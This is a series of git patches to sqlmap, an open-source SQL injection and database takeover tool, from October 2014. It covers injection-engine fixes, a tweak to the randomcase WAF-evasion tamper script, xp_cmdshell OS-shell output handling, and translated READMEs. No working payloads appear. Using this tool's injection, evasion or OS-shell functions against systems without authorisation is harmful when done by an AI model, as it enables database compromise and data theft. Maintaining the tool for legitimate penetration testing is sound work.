b/lib/core/common.py index 12e4ac9e9..9c197305e 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1542,7 +1542,7 @@ def safeStringFormat(format_, params): while True: match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal) if match: - if count > len(params): + if count >= len(params): raise Exception("wrong number of parameters during string formatting") else: retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1) From 2ab455885921c30347d798c5f0af92361eeaac37 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Oct 2014 11:49:53 +0200 Subject: [PATCH 053/492] Potential fix for an Issue #846 --- lib/core/common.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 9c197305e..44806295d 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1520,10 +1520,10 @@ def safeStringFormat(format_, params): if format_.count(PAYLOAD_DELIMITER) == 2: _ = format_.split(PAYLOAD_DELIMITER) - _[1] = _[1].replace("%d", "%s") + _[1] = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", _[1]) retVal = PAYLOAD_DELIMITER.join(_) else: - retVal = format_.replace("%d", "%s") + retVal = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", format_) if isinstance(params, basestring): retVal = retVal.replace("%s", params, 1) From c6a8feea8a7ef2652cc673e2d2d6cddf27ea991b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Oct 2014 12:00:11 +0200 Subject: [PATCH 054/492] Fix for an Issue #831 --- lib/controller/checks.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index e4429dfd7..fa118f556 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -85,7 +85,11 @@ def checkSqlInjection(place, parameter, value): # Set the flag for SQL injection test mode kb.testMode = True - for test in getSortedInjectionTests(): + tests = getSortedInjectionTests() + + while tests: + test = tests.pop(0) + try: if kb.endDetection: break @@ -597,6 +601,7 @@ def checkSqlInjection(place, parameter, value): choice = readInput(msg, default=str(conf.verbose), checkBatch=False).strip() conf.verbose = int(choice) setVerbosity() + tests.insert(0, test) elif choice[0] in ("n", "N"): return None elif choice[0] in ("e", "E"): From 70215a95a1f2ce7e2051139369a5239723a18cc6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Oct 2014 13:02:47 +0200 Subject: [PATCH 055/492] Patch for an Issue #847 --- lib/core/common.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 44806295d..9b8f21045 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2809,14 +2809,11 @@ def decodeIntToUnicode(value): if isinstance(value, int): try: - # http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_ord - if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): + if value > 255: _ = "%x" % value if len(_) % 2 == 1: _ = "0%s" % _ - retVal = getUnicode(hexdecode(_)) - elif value > 255: - retVal = unichr(value) + retVal = getUnicode(hexdecode(_), encoding="UTF-16" if Backend.isDbms(DBMS.MSSQL) else None) else: retVal = getUnicode(chr(value)) except: From 35ed668a85244117b9ab42514e500e13394278ca Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Oct 2014 13:09:37 +0200 Subject: [PATCH 056/492] Minor improvement of the randomcase tamper script --- tamper/randomcase.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 6f0a0a65e..3e7a60caa 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -44,10 +44,14 @@ def tamper(payload, **kwargs): word = match.group() if word.upper() in kb.keywords: - _ = str() + while True: + _ = "" - for i in xrange(len(word)): - _ += word[i].upper() if randomRange(0, 1) else word[i].lower() + for i in xrange(len(word)): + _ += word[i].upper() if randomRange(0, 1) else word[i].lower() + + if len(_) > 1 and _ not in (_.lower(), _.upper()): + break retVal = retVal.replace(word, _) From c823c58d47f87dafa87d8fb8cd69dee11a067bd7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 Oct 2014 14:39:54 +0200 Subject: [PATCH 057/492] One patch related to the Issue #846 --- lib/core/agent.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 2df03da44..b8abc5567 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -32,6 +32,8 @@ from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.settings import DEFAULT_COOKIE_DELIMITER +from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import GENERIC_SQL_COMMENT from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import REPLACEMENT_MARKER @@ -156,7 +158,10 @@ class Agent(object): elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: - retVal = re.sub(r"(\A|\b)%s=%s" % (re.escape(parameter), re.escape(origValue)), "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) + if origValue: + retVal = re.sub(r"(\A|\b)%s=%s(\Z|\b)" % (re.escape(parameter), re.escape(origValue)), "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) + else: + retVal = re.sub(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) if retVal == paramString and urlencode(parameter) != parameter: retVal = re.sub(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) From f94ac8c69d47651f74cc8ae6d7858979d110f0a4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 Oct 2014 15:21:26 +0200 Subject: [PATCH 058/492] Second patch related to the Issue #846 --- lib/core/enums.py | 1 + lib/core/settings.py | 3 +++ lib/core/target.py | 13 +++++++++++++ 3 files changed, 17 insertions(+) diff --git a/lib/core/enums.py b/lib/core/enums.py index b4f8b809f..80cab9474 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -74,6 +74,7 @@ class POST_HINT: JSON_LIKE = "JSON-like" MULTIPART = "MULTIPART" XML = "XML (generic)" + ARRAY_LIKE = "Array-like" class HTTPMETHOD: GET = "GET" diff --git a/lib/core/settings.py b/lib/core/settings.py index 405a0f026..887009543 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -573,6 +573,9 @@ JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+) # Regular expression used for detecting multipart POST data MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" +# Regular expression used for detecting Array-like POST data +ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\]=.+%s\2\[\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) + # Default POST data content-type DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8" diff --git a/lib/core/target.py b/lib/core/target.py index 8f0be26ac..1daf63060 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -44,7 +44,9 @@ from lib.core.option import _setKnowledgeBaseAttributes from lib.core.option import _setAuthCred from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES +from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX from lib.core.settings import JSON_RECOGNITION_REGEX from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX from lib.core.settings import MULTIPART_RECOGNITION_REGEX @@ -146,6 +148,17 @@ def _setRequestParams(): conf.data = re.sub(r"('(?P[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.JSON_LIKE + elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): + message = "Array-like data found in %s data. " % conf.method + message += "Do you want to process it? [Y/n/q] " + test = readInput(message, default="Y") + if test and test[0] in ("q", "Q"): + raise SqlmapUserQuitException + elif test[0] not in ("n", "N"): + conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) + conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % CUSTOM_INJECTION_MARK_CHAR, conf.data) + kb.postHint = POST_HINT.ARRAY_LIKE + elif re.search(XML_RECOGNITION_REGEX, conf.data): message = "SOAP/XML data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " From 7811a958ae03f070b69970bbd2905eeff55029d1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 Oct 2014 15:42:44 +0200 Subject: [PATCH 059/492] Another minor patch for Issue #846 --- lib/core/dicts.py | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index c9cd0cd51..0a3d7dabe 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -207,6 +207,7 @@ POST_HINT_CONTENT_TYPES = { POST_HINT.MULTIPART: "multipart/form-data", POST_HINT.SOAP: "application/soap+xml", POST_HINT.XML: "application/xml", + POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8", } DEPRECATED_OPTIONS = { From d4610890caab74bbcd1b92672f4a0b0dbcfeb861 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Oct 2014 10:07:17 +0200 Subject: [PATCH 060/492] Minor patch (flushing log file output at the end of program run) --- lib/core/dump.py | 7 +++++++ sqlmap.py | 3 +++ 2 files changed, 10 insertions(+) diff --git a/lib/core/dump.py b/lib/core/dump.py index ba3123ba9..4e1a06410 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -73,6 +73,13 @@ class Dump(object): kb.dataOutputFlag = True + def flush(self): + if self._outputFP: + try: + self._outputFP.flush() + except IOError: + pass + def setOutputFile(self): self._outputFile = os.path.join(conf.outputPath, "log") try: diff --git a/sqlmap.py b/sqlmap.py index 1607a0648..5807b341f 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -156,6 +156,9 @@ def main(): except KeyboardInterrupt: pass + if conf.get("dumper"): + conf.dumper.flush() + # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program if conf.get("threads", 0) > 1 or conf.get("dnsServer"): os._exit(0) From 2aadfc0fd3ef26a19a68cd3feb7c875270b6f912 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Oct 2014 10:38:17 +0200 Subject: [PATCH 061/492] Fix for an Issue #851 --- lib/utils/api.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index 7a22bb123..78a1f1a31 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -164,8 +164,8 @@ class Task(object): shutil.rmtree(self.output_directory) def engine_start(self): - self.process = Popen("python sqlmap.py --pickled-options %s" % base64pickle(self.options), - shell=True, stdin=PIPE, close_fds=False) + self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)], + shell=False, stdin=PIPE, close_fds=False) def engine_stop(self): if self.process: From 4e3a4eb0ff12cdad671fdc0abfe2d59f5a85ce07 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Oct 2014 12:09:08 +0200 Subject: [PATCH 062/492] Added a prompt for choosing a number of threads when in crawling mode --- lib/core/threads.py | 6 +++--- lib/utils/crawler.py | 5 +---- 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/lib/core/threads.py b/lib/core/threads.py index 8eb10f99c..2b4ce4eb4 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -106,7 +106,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio kb.threadContinue = True kb.threadException = False - if threadChoice and numThreads == 1 and any(_ in kb.injection.data for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY, PAYLOAD.TECHNIQUE.UNION)): + if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): while True: message = "please enter number of threads? [Enter for %d (current)] " % numThreads choice = readInput(message, default=str(numThreads)) @@ -115,11 +115,11 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS logger.critical(errMsg) else: - numThreads = int(choice) + conf.threads = numThreads = int(choice) break if numThreads == 1: - warnMsg = "running in a single-thread mode. This could take a while." + warnMsg = "running in a single-thread mode. This could take a while" logger.warn(warnMsg) try: diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 07860ff87..caea59a85 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -115,9 +115,6 @@ def crawl(target): logger.info(infoMsg) for i in xrange(conf.crawlDepth): - if i > 0 and conf.threads == 1: - singleTimeWarnMessage("running in a single-thread mode. This could take a while") - threadData.shared.count = 0 threadData.shared.length = len(threadData.shared.unprocessed) numThreads = min(conf.threads, len(threadData.shared.unprocessed)) @@ -125,7 +122,7 @@ def crawl(target): if not conf.bulkFile: logger.info("searching for links with depth %d" % (i + 1)) - runThreads(numThreads, crawlThread) + runThreads(numThreads, crawlThread, threadChoice=(i>0)) clearConsoleLine(True) if threadData.shared.deeper: From be213bc657cade85858cdd06248a0e37e87ee277 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 12 Oct 2014 22:41:53 +0200 Subject: [PATCH 063/492] Bug fix for crashes caused by '--search --exclude-sysdbs --current-db' --- plugins/generic/search.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/generic/search.py b/plugins/generic/search.py index f38f7428b..6e9c2fe75 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -261,7 +261,7 @@ class Search: if tblConsider == "2": continue else: - for db in conf.db.split(","): + for db in conf.db.split(",") if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundTbls: foundTbls[db] = [] @@ -501,7 +501,7 @@ class Search: if db not in foundCols[column]: foundCols[column][db] = [] else: - for db in conf.db.split(","): + for db in conf.db.split(",") if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundCols[column]: foundCols[column][db] = [] From 6db4b29fd34bf7f246a4cd82f2646cd5c4dc250c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 13 Oct 2014 09:02:33 +0200 Subject: [PATCH 064/492] Adding contributed Greek and Chinese translations --- README.md | 4 ++- doc/THANKS.md | 6 ++++ doc/translations/README-cn-CN.md | 58 +++++++++++++++++++++++++++++++ doc/translations/README-gr-GR.md | 59 ++++++++++++++++++++++++++++++++ 4 files changed, 126 insertions(+), 1 deletion(-) create mode 100644 doc/translations/README-cn-CN.md create mode 100644 doc/translations/README-gr-GR.md diff --git a/README.md b/README.md index a620dc945..407ef70ee 100644 --- a/README.md +++ b/README.md @@ -55,5 +55,7 @@ Links Translations ---- -* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) +* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-cn-CN.md) +* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) +* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) diff --git a/doc/THANKS.md b/doc/THANKS.md index b56820891..97335723c 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -660,6 +660,9 @@ fufuh, Hans Wurst, * for reporting a couple of bugs +Hysia, +* for contributing a Chinese translation of README.md + james, * for reporting a bug @@ -719,6 +722,9 @@ smith, Soma Cruz, * for reporting a minor bug +Spiros94, +* for contributing a Greek translation of README.md + Stuffe, * for reporting a minor bug and a feature request diff --git a/doc/translations/README-cn-CN.md b/doc/translations/README-cn-CN.md new file mode 100644 index 000000000..9080e7ad5 --- /dev/null +++ b/doc/translations/README-cn-CN.md @@ -0,0 +1,58 @@ +sqlmap +== + + +sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。 + +演示截图 +---- + +![截图](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +你可以访问 wiki上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 查看各种用法的演示 + +安装方法 +---- + +你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的源代码 或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的源代码. + +推荐你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码: + + git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和 **2.7.x** 版本的任何平台上 + +使用方法 +---- + +通过如下命令可以查看基本的用法及命令行参数: + + python sqlmap.py -h + +通过如下的命令可以查看所有的用法及命令行参数: + + python sqlmap.py -hh + +你可以从 [这里](https://gist.github.com/stamparm/5335217) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。 + +链接 +---- + +* 项目主页: http://sqlmap.org +* 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* 使用手册: https://github.com/sqlmapproject/sqlmap/wiki +* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* 邮件讨论列表: https://lists.sourceforge.net/lists/listinfo/sqlmap-users +* 邮件列表 RSS 订阅: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap +* 邮件列表归档: http://news.gmane.org/gmane.comp.security.sqlmap +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + +翻译 +---- + +* [葡萄牙文](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) +* [印度尼西亚文](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md new file mode 100644 index 000000000..4d34e42db --- /dev/null +++ b/doc/translations/README-gr-GR.md @@ -0,0 +1,59 @@ +sqlmap +== + + +Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων. + +Εικόνες +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Μπορείτε να επισκεφτείτε τη [συλλογή από εικόνες](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) που επιδεικνύουν κάποια από τα χαρακτηριστικά. + +Εγκατάσταση +---- + +Έχετε τη δυνατότητα να κατεβάσετε την τελευταία tarball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/tarball/master) ή την τελευταία zipball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Κατά προτίμηση, μπορείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap) αποθετήριο: + + git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6.x** και **2.7.x** σε όποια πλατφόρμα. + +Χρήση +---- + +Για να δείτε μια βασική λίστα από επιλογές πατήστε: + + python sqlmap.py -h + +Για να πάρετε μια λίστα από όλες τις επιλογές πατήστε: + + python sqlmap.py -hh + +Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://gist.github.com/stamparm/5335217). +Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki). + +Σύνδεσμοι +---- + +* Αρχική σελίδα: http://sqlmap.org +* Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues +* Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki +* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Εγγραφή σε Mailing list: https://lists.sourceforge.net/lists/listinfo/sqlmap-users +* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap +* Mailing list αρχείο: http://news.gmane.org/gmane.comp.security.sqlmap +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + +Μεταφράσεις +---- + +* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) +* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) From fb65caabd239cca7611c3afcb43c04ffaf5f7f58 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 13 Oct 2014 09:19:25 +0200 Subject: [PATCH 065/492] Unhidding switch --ignore-401 --- lib/parse/cmdline.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b2d736afe..0084e731c 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -136,6 +136,9 @@ def cmdLineParser(): request.add_option("--auth-private", dest="authPrivate", help="HTTP authentication PEM private key file") + request.add_option("--ignore-401", dest="ignore401", action="store_true", + help="Ignore HTTP Error 401 (Unauthorized)") + request.add_option("--proxy", dest="proxy", help="Use a proxy to connect to the target URL") @@ -728,9 +731,6 @@ def cmdLineParser(): parser.add_option("--force-dns", dest="forceDns", action="store_true", help=SUPPRESS_HELP) - parser.add_option("--ignore-401", dest="ignore401", action="store_true", - help=SUPPRESS_HELP) - parser.add_option("--smoke-test", dest="smokeTest", action="store_true", help=SUPPRESS_HELP) From 006d9d185925322f02e91ff52b9a3ba5052a7591 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 13 Oct 2014 12:00:34 +0200 Subject: [PATCH 066/492] Bug fix for a problem reported by a user via ML (--os-shell) --- lib/takeover/xp_cmdshell.py | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index e8ffe746f..b1dbf3388 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission from lib.core.agent import agent from lib.core.common import Backend +from lib.core.common import flattenValue from lib.core.common import getLimitRange from lib.core.common import getSQLSnippet from lib.core.common import hashDBWrite @@ -226,12 +227,16 @@ class Xp_cmdshell: inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isListLike(output) and len(output) > 1: - if not (output[0] or "").strip(): - output = output[1:] - elif not (output[-1] or "").strip(): - output = output[:-1] + _ = "" + lines = [_ for _ in flattenValue(output) if _ is not None] - output = "\n".join(line for line in filter(None, output)) + for i in xrange(len(lines)): + line = lines[i] or "" + if line is None or i in (0, len(lines) - 1) and not line.strip(): + continue + _ += "%s\n" % line + + output = _.rstrip('\n') return output From db30b37f8abd69e9221f8b4b65932f17ffa027e1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 14 Oct 2014 09:00:26 +0200 Subject: [PATCH 067/492] Removing translations from already translated pages (to ease the inclusion of other languages) --- doc/translations/README-cn-CN.md | 6 ------ doc/translations/README-gr-GR.md | 6 ------ 2 files changed, 12 deletions(-) diff --git a/doc/translations/README-cn-CN.md b/doc/translations/README-cn-CN.md index 9080e7ad5..c3b8b2941 100644 --- a/doc/translations/README-cn-CN.md +++ b/doc/translations/README-cn-CN.md @@ -50,9 +50,3 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和 * Twitter: [@sqlmap](https://twitter.com/sqlmap) * 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots - -翻译 ----- - -* [葡萄牙文](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) -* [印度尼西亚文](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 4d34e42db..8b09ba653 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -51,9 +51,3 @@ sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots - -Μεταφράσεις ----- - -* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) -* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) From 19b0bc5a9219324ffd49dc3def933ae01a4e82a9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 14 Oct 2014 09:31:03 +0200 Subject: [PATCH 068/492] Adding a Croatian translation of README.md --- doc/translations/README-hr-HR.md | 53 ++++++++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 doc/translations/README-hr-HR.md diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md new file mode 100644 index 000000000..69e2d531d --- /dev/null +++ b/doc/translations/README-hr-HR.md @@ -0,0 +1,53 @@ +sqlmap +== + + +sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza. + +Slike zaslona +---- + +![Slika zaslona](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Možete posjetiti [kolekciju slika zaslona](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gdje se demonstriraju neke od značajki na wiki stranicama. + +Instalacija +---- + +Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/tarball/master) ili zadnji zipball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: + + git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap radi bez posebnih zahtjeva korištenjem [Python](http://www.python.org/download/) verzije **2.6.x** i/ili **2.7.x** na bilo kojoj platformi. + +Korištenje +---- + +Kako biste dobili listu osnovnih opcija i prekidača 